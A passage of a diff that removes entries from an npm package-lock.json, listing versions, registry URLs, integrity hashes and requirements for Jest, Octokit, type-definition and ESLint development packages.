-        "graceful-fs": "^4.2.4",
-        "jest-changed-files": "^26.0.1",
-        "jest-config": "^26.0.1",
-        "jest-haste-map": "^26.0.1",
-        "jest-message-util": "^26.0.1",
-        "jest-regex-util": "^26.0.0",
-        "jest-resolve": "^26.0.1",
-        "jest-resolve-dependencies": "^26.0.1",
-        "jest-runner": "^26.0.1",
-        "jest-runtime": "^26.0.1",
-        "jest-snapshot": "^26.0.1",
-        "jest-util": "^26.0.1",
-        "jest-validate": "^26.0.1",
-        "jest-watcher": "^26.0.1",
-        "micromatch": "^4.0.2",
-        "p-each-series": "^2.1.0",
-        "rimraf": "^3.0.0",
-        "slash": "^3.0.0",
-        "strip-ansi": "^6.0.0"
-      }
-    },
-    "@jest/environment": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-26.0.1.tgz",
-      "integrity": "sha512-xBDxPe8/nx251u0VJ2dFAFz2H23Y98qdIaNwnMK6dFQr05jc+Ne/2np73lOAx+5mSBO/yuQldRrQOf6hP1h92g==",
-      "dev": true,
-      "requires": {
-        "@jest/fake-timers": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "jest-mock": "^26.0.1"
-      }
-    },
-    "@jest/fake-timers": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-26.0.1.tgz",
-      "integrity": "sha512-Oj/kCBnTKhm7CR+OJSjZty6N1bRDr9pgiYQr4wY221azLz5PHi08x/U+9+QpceAYOWheauLP8MhtSVFrqXQfhg==",
-      "dev": true,
-      "requires": {
-        "@jest/types": "^26.0.1",
-        "@sinonjs/fake-timers": "^6.0.1",
-        "jest-message-util": "^26.0.1",
-        "jest-mock": "^26.0.1",
-        "jest-util": "^26.0.1"
-      }
-    },
-    "@jest/globals": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-26.0.1.tgz",
-      "integrity": "sha512-iuucxOYB7BRCvT+TYBzUqUNuxFX1hqaR6G6IcGgEqkJ5x4htNKo1r7jk1ji9Zj8ZMiMw0oB5NaA7k5Tx6MVssA==",
-      "dev": true,
-      "requires": {
-        "@jest/environment": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "expect": "^26.0.1"
-      }
-    },
-    "@jest/reporters": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-26.0.1.tgz",
-      "integrity": "sha512-NWWy9KwRtE1iyG/m7huiFVF9YsYv/e+mbflKRV84WDoJfBqUrNRyDbL/vFxQcYLl8IRqI4P3MgPn386x76Gf2g==",
-      "dev": true,
-      "requires": {
-        "@bcoe/v8-coverage": "^0.2.3",
-        "@jest/console": "^26.0.1",
-        "@jest/test-result": "^26.0.1",
-        "@jest/transform": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "chalk": "^4.0.0",
-        "collect-v8-coverage": "^1.0.0",
-        "exit": "^0.1.2",
-        "glob": "^7.1.2",
-        "graceful-fs": "^4.2.4",
-        "istanbul-lib-coverage": "^3.0.0",
-        "istanbul-lib-instrument": "^4.0.0",
-        "istanbul-lib-report": "^3.0.0",
-        "istanbul-lib-source-maps": "^4.0.0",
-        "istanbul-reports": "^3.0.2",
-        "jest-haste-map": "^26.0.1",
-        "jest-resolve": "^26.0.1",
-        "jest-util": "^26.0.1",
-        "jest-worker": "^26.0.0",
-        "node-notifier": "^7.0.0",
-        "slash": "^3.0.0",
-        "source-map": "^0.6.0",
-        "string-length": "^4.0.1",
-        "terminal-link": "^2.0.0",
-        "v8-to-istanbul": "^4.1.3"
-      }
-    },
-    "@jest/source-map": {
-      "version": "26.0.0",
-      "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-26.0.0.tgz",
-      "integrity": "sha512-S2Z+Aj/7KOSU2TfW0dyzBze7xr95bkm5YXNUqqCek+HE0VbNNSNzrRwfIi5lf7wvzDTSS0/ib8XQ1krFNyYgbQ==",
-      "dev": true,
-      "requires": {
-        "callsites": "^3.0.0",
-        "graceful-fs": "^4.2.4",
-        "source-map": "^0.6.0"
-      }
-    },
-    "@jest/test-result": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-26.0.1.tgz",
-      "integrity": "sha512-oKwHvOI73ICSYRPe8WwyYPTtiuOAkLSbY8/MfWF3qDEd/sa8EDyZzin3BaXTqufir/O/Gzea4E8Zl14XU4Mlyg==",
-      "dev": true,
-      "requires": {
-        "@jest/console": "^26.0.1",
-        "@jest/types": "^26.0.1",
-        "@types/istanbul-lib-coverage": "^2.0.0",
-        "collect-v8-coverage": "^1.0.0"
-      }
-    },
-    "@jest/test-sequencer": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-26.0.1.tgz",
-      "integrity": "sha512-ssga8XlwfP8YjbDcmVhwNlrmblddMfgUeAkWIXts1V22equp2GMIHxm7cyeD5Q/B0ZgKPK/tngt45sH99yLLGg==",
-      "dev": true,
-      "requires": {
-        "@jest/test-result": "^26.0.1",
-        "graceful-fs": "^4.2.4",
-        "jest-haste-map": "^26.0.1",
-        "jest-runner": "^26.0.1",
-        "jest-runtime": "^26.0.1"
-      }
-    },
-    "@jest/transform": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-26.0.1.tgz",
-      "integrity": "sha512-pPRkVkAQ91drKGbzCfDOoHN838+FSbYaEAvBXvKuWeeRRUD8FjwXkqfUNUZL6Ke48aA/1cqq/Ni7kVMCoqagWA==",
-      "dev": true,
-      "requires": {
-        "@babel/core": "^7.1.0",
-        "@jest/types": "^26.0.1",
-        "babel-plugin-istanbul": "^6.0.0",
-        "chalk": "^4.0.0",
-        "convert-source-map": "^1.4.0",
-        "fast-json-stable-stringify": "^2.0.0",
-        "graceful-fs": "^4.2.4",
-        "jest-haste-map": "^26.0.1",
-        "jest-regex-util": "^26.0.0",
-        "jest-util": "^26.0.1",
-        "micromatch": "^4.0.2",
-        "pirates": "^4.0.1",
-        "slash": "^3.0.0",
-        "source-map": "^0.6.1",
-        "write-file-atomic": "^3.0.0"
-      }
-    },
-    "@jest/types": {
-      "version": "26.0.1",
-      "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.0.1.tgz",
-      "integrity": "sha512-IbtjvqI9+eS1qFnOIEL7ggWmT+iK/U+Vde9cGWtYb/b6XgKb3X44ZAe/z9YZzoAAZ/E92m0DqrilF934IGNnQA==",
-      "dev": true,
-      "requires": {
-        "@types/istanbul-lib-coverage": "^2.0.0",
-        "@types/istanbul-reports": "^1.1.1",
-        "@types/yargs": "^15.0.0",
-        "chalk": "^4.0.0"
-      }
-    },
-    "@octokit/auth-token": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-2.4.0.tgz",
-      "integrity": "sha512-eoOVMjILna7FVQf96iWc3+ZtE/ZT6y8ob8ZzcqKY1ibSQCnu4O/B7pJvzMx5cyZ/RjAff6DAdEb0O0Cjcxidkg==",
-      "dev": true,
-      "requires": {
-        "@octokit/types": "^2.0.0"
-      }
-    },
-    "@octokit/endpoint": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.1.tgz",
-      "integrity": "sha512-pOPHaSz57SFT/m3R5P8MUu4wLPszokn5pXcB/pzavLTQf2jbU+6iayTvzaY6/BiotuRS0qyEUkx3QglT4U958A==",
-      "dev": true,
-      "requires": {
-        "@octokit/types": "^2.11.1",
-        "is-plain-object": "^3.0.0",
-        "universal-user-agent": "^5.0.0"
-      }
-    },
-    "@octokit/graphql": {
-      "version": "4.4.0",
-      "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-4.4.0.tgz",
-      "integrity": "sha512-Du3hAaSROQ8EatmYoSAJjzAz3t79t9Opj/WY1zUgxVUGfIKn0AEjg+hlOLscF6fv6i/4y/CeUvsWgIfwMkTccw==",
-      "dev": true,
-      "requires": {
-        "@octokit/request": "^5.3.0",
-        "@octokit/types": "^2.0.0",
-        "universal-user-agent": "^5.0.0"
-      }
-    },
-    "@octokit/plugin-paginate-rest": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-1.1.2.tgz",
-      "integrity": "sha512-jbsSoi5Q1pj63sC16XIUboklNw+8tL9VOnJsWycWYR78TKss5PVpIPb1TUUcMQ+bBh7cY579cVAWmf5qG+dw+Q==",
-      "dev": true,
-      "requires": {
-        "@octokit/types": "^2.0.1"
-      }
-    },
-    "@octokit/plugin-request-log": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-1.0.0.tgz",
-      "integrity": "sha512-ywoxP68aOT3zHCLgWZgwUJatiENeHE7xJzYjfz8WI0goynp96wETBF+d95b8g/uL4QmS6owPVlaxiz3wyMAzcw==",
-      "dev": true
-    },
-    "@octokit/plugin-rest-endpoint-methods": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-2.4.0.tgz",
-      "integrity": "sha512-EZi/AWhtkdfAYi01obpX0DF7U6b1VRr30QNQ5xSFPITMdLSfhcBqjamE3F+sKcxPbD7eZuMHu3Qkk2V+JGxBDQ==",
-      "dev": true,
-      "requires": {
-        "@octokit/types": "^2.0.1",
-        "deprecation": "^2.3.1"
-      }
-    },
-    "@octokit/request": {
-      "version": "5.4.2",
-      "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.4.2.tgz",
-      "integrity": "sha512-zKdnGuQ2TQ2vFk9VU8awFT4+EYf92Z/v3OlzRaSh4RIP0H6cvW1BFPXq4XYvNez+TPQjqN+0uSkCYnMFFhcFrw==",
-      "dev": true,
-      "requires": {
-        "@octokit/endpoint": "^6.0.1",
-        "@octokit/request-error": "^2.0.0",
-        "@octokit/types": "^2.11.1",
-        "deprecation": "^2.0.0",
-        "is-plain-object": "^3.0.0",
-        "node-fetch": "^2.3.0",
-        "once": "^1.4.0",
-        "universal-user-agent": "^5.0.0"
-      }
-    },
-    "@octokit/request-error": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.0.0.tgz",
-      "integrity": "sha512-rtYicB4Absc60rUv74Rjpzek84UbVHGHJRu4fNVlZ1mCcyUPPuzFfG9Rn6sjHrd95DEsmjSt1Axlc699ZlbDkw==",
-      "dev": true,
-      "requires": {
-        "@octokit/types": "^2.0.0",
-        "deprecation": "^2.0.0",
-        "once": "^1.4.0"
-      }
-    },
-    "@octokit/rest": {
-      "version": "16.43.1",
-      "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-16.43.1.tgz",
-      "integrity": "sha512-gfFKwRT/wFxq5qlNjnW2dh+qh74XgTQ2B179UX5K1HYCluioWj8Ndbgqw2PVqa1NnVJkGHp2ovMpVn/DImlmkw==",
-      "dev": true,
-      "requires": {
-        "@octokit/auth-token": "^2.4.0",
-        "@octokit/plugin-paginate-rest": "^1.1.1",
-        "@octokit/plugin-request-log": "^1.0.0",
-        "@octokit/plugin-rest-endpoint-methods": "2.4.0",
-        "@octokit/request": "^5.2.0",
-        "@octokit/request-error": "^1.0.2",
-        "atob-lite": "^2.0.0",
-        "before-after-hook": "^2.0.0",
-        "btoa-lite": "^1.0.0",
-        "deprecation": "^2.0.0",
-        "lodash.get": "^4.4.2",
-        "lodash.set": "^4.3.2",
-        "lodash.uniq": "^4.5.0",
-        "octokit-pagination-methods": "^1.1.0",
-        "once": "^1.4.0",
-        "universal-user-agent": "^4.0.0"
-      },
-      "dependencies": {
-        "@octokit/request-error": {
-          "version": "1.2.1",
-          "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-1.2.1.tgz",
-          "integrity": "sha512-+6yDyk1EES6WK+l3viRDElw96MvwfJxCt45GvmjDUKWjYIb3PJZQkq3i46TwGwoPD4h8NmTrENmtyA1FwbmhRA==",
-          "dev": true,
-          "requires": {
-            "@octokit/types": "^2.0.0",
-            "deprecation": "^2.0.0",
-            "once": "^1.4.0"
-          }
-        },
-        "universal-user-agent": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-4.0.1.tgz",
-          "integrity": "sha512-LnST3ebHwVL2aNe4mejI9IQh2HfZ1RLo8Io2HugSif8ekzD1TlWpHpColOB/eh8JHMLkGH3Akqf040I+4ylNxg==",
-          "dev": true,
-          "requires": {
-            "os-name": "^3.1.0"
-          }
-        }
-      }
-    },
-    "@octokit/types": {
-      "version": "2.16.2",
-      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-2.16.2.tgz",
-      "integrity": "sha512-O75k56TYvJ8WpAakWwYRN8Bgu60KrmX0z1KqFp1kNiFNkgW+JW+9EBKZ+S33PU6SLvbihqd+3drvPxKK68Ee8Q==",
-      "dev": true,
-      "requires": {
-        "@types/node": ">= 8"
-      }
-    },
-    "@sinonjs/commons": {
-      "version": "1.7.2",
-      "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.7.2.tgz",
-      "integrity": "sha512-+DUO6pnp3udV/v2VfUWgaY5BIE1IfT7lLfeDzPVeMT1XKkaAp9LgSI9x5RtrFQoZ9Oi0PgXQQHPaoKu7dCjVxw==",
-      "dev": true,
-      "requires": {
-        "type-detect": "4.0.8"
-      }
-    },
-    "@sinonjs/fake-timers": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-6.0.1.tgz",
-      "integrity": "sha512-MZPUxrmFubI36XS1DI3qmI0YdN1gks62JtFZvxR67ljjSNCeK6U08Zx4msEWOXuofgqUt6zPHSi1H9fbjR/NRA==",
-      "dev": true,
-      "requires": {
-        "@sinonjs/commons": "^1.7.0"
-      }
-    },
-    "@types/babel__core": {
-      "version": "7.1.7",
-      "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.7.tgz",
-      "integrity": "sha512-RL62NqSFPCDK2FM1pSDH0scHpJvsXtZNiYlMB73DgPBaG1E38ZYVL+ei5EkWRbr+KC4YNiAUNBnRj+bgwpgjMw==",
-      "dev": true,
-      "requires": {
-        "@babel/parser": "^7.1.0",
-        "@babel/types": "^7.0.0",
-        "@types/babel__generator": "*",
-        "@types/babel__template": "*",
-        "@types/babel__traverse": "*"
-      }
-    },
-    "@types/babel__generator": {
-      "version": "7.6.1",
-      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.1.tgz",
-      "integrity": "sha512-bBKm+2VPJcMRVwNhxKu8W+5/zT7pwNEqeokFOmbvVSqGzFneNxYcEBro9Ac7/N9tlsaPYnZLK8J1LWKkMsLAew==",
-      "dev": true,
-      "requires": {
-        "@babel/types": "^7.0.0"
-      }
-    },
-    "@types/babel__template": {
-      "version": "7.0.2",
-      "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.0.2.tgz",
-      "integrity": "sha512-/K6zCpeW7Imzgab2bLkLEbz0+1JlFSrUMdw7KoIIu+IUdu51GWaBZpd3y1VXGVXzynvGa4DaIaxNZHiON3GXUg==",
-      "dev": true,
-      "requires": {
-        "@babel/parser": "^7.1.0",
-        "@babel/types": "^7.0.0"
-      }
-    },
-    "@types/babel__traverse": {
-      "version": "7.0.11",
-      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.0.11.tgz",
-      "integrity": "sha512-ddHK5icION5U6q11+tV2f9Mo6CZVuT8GJKld2q9LqHSZbvLbH34Kcu2yFGckZut453+eQU6btIA3RihmnRgI+Q==",
-      "dev": true,
-      "requires": {
-        "@babel/types": "^7.3.0"
-      }
-    },
-    "@types/color-name": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz",
-      "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==",
-      "dev": true
-    },
-    "@types/eslint-visitor-keys": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/@types/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz",
-      "integrity": "sha512-OCutwjDZ4aFS6PB1UZ988C4YgwlBHJd6wCeQqaLdmadZ/7e+w79+hbMUFC1QXDNCmdyoRfAFdm0RypzwR+Qpag==",
-      "dev": true
-    },
-    "@types/graceful-fs": {
-      "version": "4.1.3",
-      "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.3.tgz",
-      "integrity": "sha512-AiHRaEB50LQg0pZmm659vNBb9f4SJ0qrAnteuzhSeAUcJKxoYgEnprg/83kppCnc2zvtCKbdZry1a5pVY3lOTQ==",
-      "dev": true,
-      "requires": {
-        "@types/node": "*"
-      }
-    },
-    "@types/istanbul-lib-coverage": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.2.tgz",
-      "integrity": "sha512-rsZg7eL+Xcxsxk2XlBt9KcG8nOp9iYdKCOikY9x2RFJCyOdNj4MKPQty0e8oZr29vVAzKXr1BmR+kZauti3o1w==",
-      "dev": true
-    },
-    "@types/istanbul-lib-report": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz",
-      "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==",
-      "dev": true,
-      "requires": {
-        "@types/istanbul-lib-coverage": "*"
-      }
-    },
-    "@types/istanbul-reports": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-1.1.2.tgz",
-      "integrity": "sha512-P/W9yOX/3oPZSpaYOCQzGqgCQRXn0FFO/V8bWrCQs+wLmvVVxk6CRBXALEvNs9OHIatlnlFokfhuDo2ug01ciw==",
-      "dev": true,
-      "requires": {
-        "@types/istanbul-lib-coverage": "*",
-        "@types/istanbul-lib-report": "*"
-      }
-    },
-    "@types/jest": {
-      "version": "25.2.3",
-      "resolved": "https://registry.npmjs.org/@types/jest/-/jest-25.2.3.tgz",
-      "integrity": "sha512-JXc1nK/tXHiDhV55dvfzqtmP4S3sy3T3ouV2tkViZgxY/zeUkcpQcQPGRlgF4KmWzWW5oiWYSZwtCB+2RsE4Fw==",
-      "dev": true,
-      "requires": {
-        "jest-diff": "^25.2.1",
-        "pretty-format": "^25.2.1"
-      },
-      "dependencies": {
-        "@jest/types": {
-          "version": "25.5.0",
-          "resolved": "https://registry.npmjs.org/@jest/types/-/types-25.5.0.tgz",
-          "integrity": "sha512-OXD0RgQ86Tu3MazKo8bnrkDRaDXXMGUqd+kTtLtK1Zb7CRzQcaSRPPPV37SvYTdevXEBVxe0HXylEjs8ibkmCw==",
-          "dev": true,
-          "requires": {
-            "@types/istanbul-lib-coverage": "^2.0.0",
-            "@types/istanbul-reports": "^1.1.1",
-            "@types/yargs": "^15.0.0",
-            "chalk": "^3.0.0"
-          }
-        },
-        "chalk": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
-          "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
-          "dev": true,
-          "requires": {
-            "ansi-styles": "^4.1.0",
-            "supports-color": "^7.1.0"
-          }
-        },
-        "diff-sequences": {
-          "version": "25.2.6",
-          "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-25.2.6.tgz",
-          "integrity": "sha512-Hq8o7+6GaZeoFjtpgvRBUknSXNeJiCx7V9Fr94ZMljNiCr9n9L8H8aJqgWOQiDDGdyn29fRNcDdRVJ5fdyihfg==",
-          "dev": true
-        },
-        "jest-diff": {
-          "version": "25.5.0",
-          "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-25.5.0.tgz",
-          "integrity": "sha512-z1kygetuPiREYdNIumRpAHY6RXiGmp70YHptjdaxTWGmA085W3iCnXNx0DhflK3vwrKmrRWyY1wUpkPMVxMK7A==",
-          "dev": true,
-          "requires": {
-            "chalk": "^3.0.0",
-            "diff-sequences": "^25.2.6",
-            "jest-get-type": "^25.2.6",
-            "pretty-format": "^25.5.0"
-          }
-        },
-        "jest-get-type": {
-          "version": "25.2.6",
-          "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-25.2.6.tgz",
-          "integrity": "sha512-DxjtyzOHjObRM+sM1knti6or+eOgcGU4xVSb2HNP1TqO4ahsT+rqZg+nyqHWJSvWgKC5cG3QjGFBqxLghiF/Ig==",
-          "dev": true
-        },
-        "pretty-format": {
-          "version": "25.5.0",
-          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-25.5.0.tgz",
-          "integrity": "sha512-kbo/kq2LQ/A/is0PQwsEHM7Ca6//bGPPvU6UnsdDRSKTWxT/ru/xb88v4BJf6a69H+uTytOEsTusT9ksd/1iWQ==",
-          "dev": true,
-          "requires": {
-            "@jest/types": "^25.5.0",
-            "ansi-regex": "^5.0.0",
-            "ansi-styles": "^4.0.0",
-            "react-is": "^16.12.0"
-          }
-        }
-      }
-    },
-    "@types/json-schema": {
-      "version": "7.0.4",
-      "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.4.tgz",
-      "integrity": "sha512-8+KAKzEvSUdeo+kmqnKrqgeE+LcA0tjYWFY7RPProVYwnqDjukzO+3b6dLD56rYX5TdWejnEOLJYOIeh4CXKuA==",
-      "dev": true
-    },
-    "@types/node": {
-      "version": "14.0.4",
-      "resolved": "https://registry.npmjs.org/@types/node/-/node-14.0.4.tgz",
-      "integrity": "sha512-k3NqigXWRzQZVBDS5D1U70A5E8Qk4Kh+Ha/x4M8Bt9pF0X05eggfnC9+63Usc9Q928hRUIpIhTQaXsZwZBl4Ew==",
-      "dev": true
-    },
-    "@types/normalize-package-data": {
-      "version": "2.4.0",
-      "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.0.tgz",
-      "integrity": "sha512-f5j5b/Gf71L+dbqxIpQ4Z2WlmI/mPJ0fOkGGmFgtb6sAu97EPczzbS3/tJKxmcYDj55OX6ssqwDAWOHIYDRDGA==",
-      "dev": true
-    },
-    "@types/prettier": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.0.0.tgz",
-      "integrity": "sha512-/rM+sWiuOZ5dvuVzV37sUuklsbg+JPOP8d+nNFlo2ZtfpzPiPvh1/gc8liWOLBqe+sR+ZM7guPaIcTt6UZTo7Q==",
-      "dev": true
-    },
-    "@types/stack-utils": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-1.0.1.tgz",
-      "integrity": "sha512-l42BggppR6zLmpfU6fq9HEa2oGPEI8yrSPL3GITjfRInppYFahObbIQOQK3UGxEnyQpltZLaPe75046NOZQikw==",
-      "dev": true
-    },
-    "@types/yargs": {
-      "version": "15.0.5",
-      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.5.tgz",
-      "integrity": "sha512-Dk/IDOPtOgubt/IaevIUbTgV7doaKkoorvOyYM2CMwuDyP89bekI7H4xLIwunNYiK9jhCkmc6pUrJk3cj2AB9w==",
-      "dev": true,
-      "requires": {
-        "@types/yargs-parser": "*"
-      }
-    },
-    "@types/yargs-parser": {
-      "version": "15.0.0",
-      "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-15.0.0.tgz",
-      "integrity": "sha512-FA/BWv8t8ZWJ+gEOnLLd8ygxH/2UFbAvgEonyfN6yWGLKc7zVjbpl2Y4CTjid9h2RfgPP6SEt6uHwEOply00yw==",
-      "dev": true
-    },
-    "@typescript-eslint/eslint-plugin": {
-      "version": "2.34.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-2.34.0.tgz",
-      "integrity": "sha512-4zY3Z88rEE99+CNvTbXSyovv2z9PNOVffTWD2W8QF5s2prBQtwN2zadqERcrHpcR7O/+KMI3fcTAmUUhK/iQcQ==",
-      "dev": true,
-      "requires": {
-        "@typescript-eslint/experimental-utils": "2.34.0",
-        "functional-red-black-tree": "^1.0.1",
-        "regexpp": "^3.0.0",
-        "tsutils": "^3.17.1"
-      }
-    },
-    "@typescript-eslint/experimental-utils": {
-      "version": "2.34.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-2.34.0.tgz",
-      "integrity": "sha512-eS6FTkq+wuMJ+sgtuNTtcqavWXqsflWcfBnlYhg/nS4aZ1leewkXGbvBhaapn1q6qf4M71bsR1tez5JTRMuqwA==",
-      "dev": true,
-      "requires": {
-        "@types/json-schema": "^7.0.3",
-        "@typescript-eslint/typescript-estree": "2.34.0",
-        "eslint-scope": "^5.0.0",
-        "eslint-utils": "^2.0.0"
-      }
-    },
-    "@typescript-eslint/parser": {
-      "version": "2.34.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-2.34.0.tgz",
-      "integrity": "sha512-03ilO0ucSD0EPTw2X4PntSIRFtDPWjrVq7C3/Z3VQHRC7+13YB55rcJI3Jt+YgeHbjUdJPcPa7b23rXCBokuyA==",
-      "dev": true,
-      "requires": {
-        "@types/eslint-visitor-keys": "^1.0.0",
-        "@typescript-eslint/experimental-utils": "2.34.0",
-        "@typescript-eslint/typescript-estree": "2.34.0",
-        "eslint-visitor-keys": "^1.1.0"
-      }
-    },
-    "@typescript-eslint/typescript-estree": {
-      "version": "2.34.0",
-      "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-2.34.0.tgz",
-      "integrity": "sha512-OMAr+nJWKdlVM9LOqCqh3pQQPwxHAN7Du8DR6dmwCrAmxtiXQnhHJ6tBNtf+cggqfo51SG/FCwnKhXCIM7hnVg==",
-      "dev": true,
-      "requires": {
-        "debug": "^4.1.1",
-        "eslint-visitor-keys": "^1.1.0",
-        "glob": "^7.1.6",
-        "is-glob": "^4.0.1",
-        "lodash": "^4.17.15",
-        "semver": "^7.3.2",
-        "tsutils": "^3.17.1"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "7.3.2",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz",
-          "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==",
-          "dev": true
-        }
-      }
-    },
-    "abab": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.3.tgz",
-      "integrity": "sha512-tsFzPpcttalNjFBCFMqsKYQcWxxen1pgJR56by//QwvJc4/OUS3kPOOttx2tSIfjsylB0pYu7f5D3K1RCxUnUg==",
-      "dev": true
-    },
-    "acorn": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.2.0.tgz",
-      "integrity": "sha512-apwXVmYVpQ34m/i71vrApRrRKCWQnZZF1+npOD0WV5xZFfwWOmKGQ2RWlfdy9vWITsenisM8M0Qeq8agcFHNiQ==",
-      "dev": true
-    },
-    "acorn-globals": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz",
-      "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==",
-      "dev": true,
-      "requires": {
-        "acorn": "^7.1.1",
-        "acorn-walk": "^7.1.1"
-      }
-    },
-    "acorn-jsx": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.2.0.tgz",
-      "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==",
-      "dev": true
-    },
-    "acorn-walk": {
-      "version": "7.1.1",
-      "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.1.1.tgz",
-      "integrity": "sha512-wdlPY2tm/9XBr7QkKlq0WQVgiuGTX6YWPyRyBviSoScBuLfTVQhvwg6wJ369GJ/1nPfTLMfnrFIfjqVg6d+jQQ==",
-      "dev": true
-    },
-    "ajv": {
-      "version": "6.12.2",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.2.tgz",
-      "integrity": "sha512-k+V+hzjm5q/Mr8ef/1Y9goCmlsK4I6Sm74teeyGvFk1XrOsbsKLjEdrvny42CZ+a8sXbk8KWpY/bDwS+FLL2UQ==",
-      "dev": true,
-      "requires": {
-        "fast-deep-equal": "^3.1.1",
-        "fast-json-stable-stringify": "^2.0.0",
-        "json-schema-traverse": "^0.4.1",
-        "uri-js": "^4.2.2"
-      }
-    },
-    "ansi-escapes": {
-      "version": "4.3.1",
-      "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.1.tgz",
-      "integrity": "sha512-JWF7ocqNrp8u9oqpgV+wH5ftbt+cfvv+PTjOvKLT3AdYly/LmORARfEVT1iyjwN+4MqE5UmVKoAdIBqeoCHgLA==",
-      "dev": true,
-      "requires": {
-        "type-fest": "^0.11.0"
-      },
-      "dependencies": {
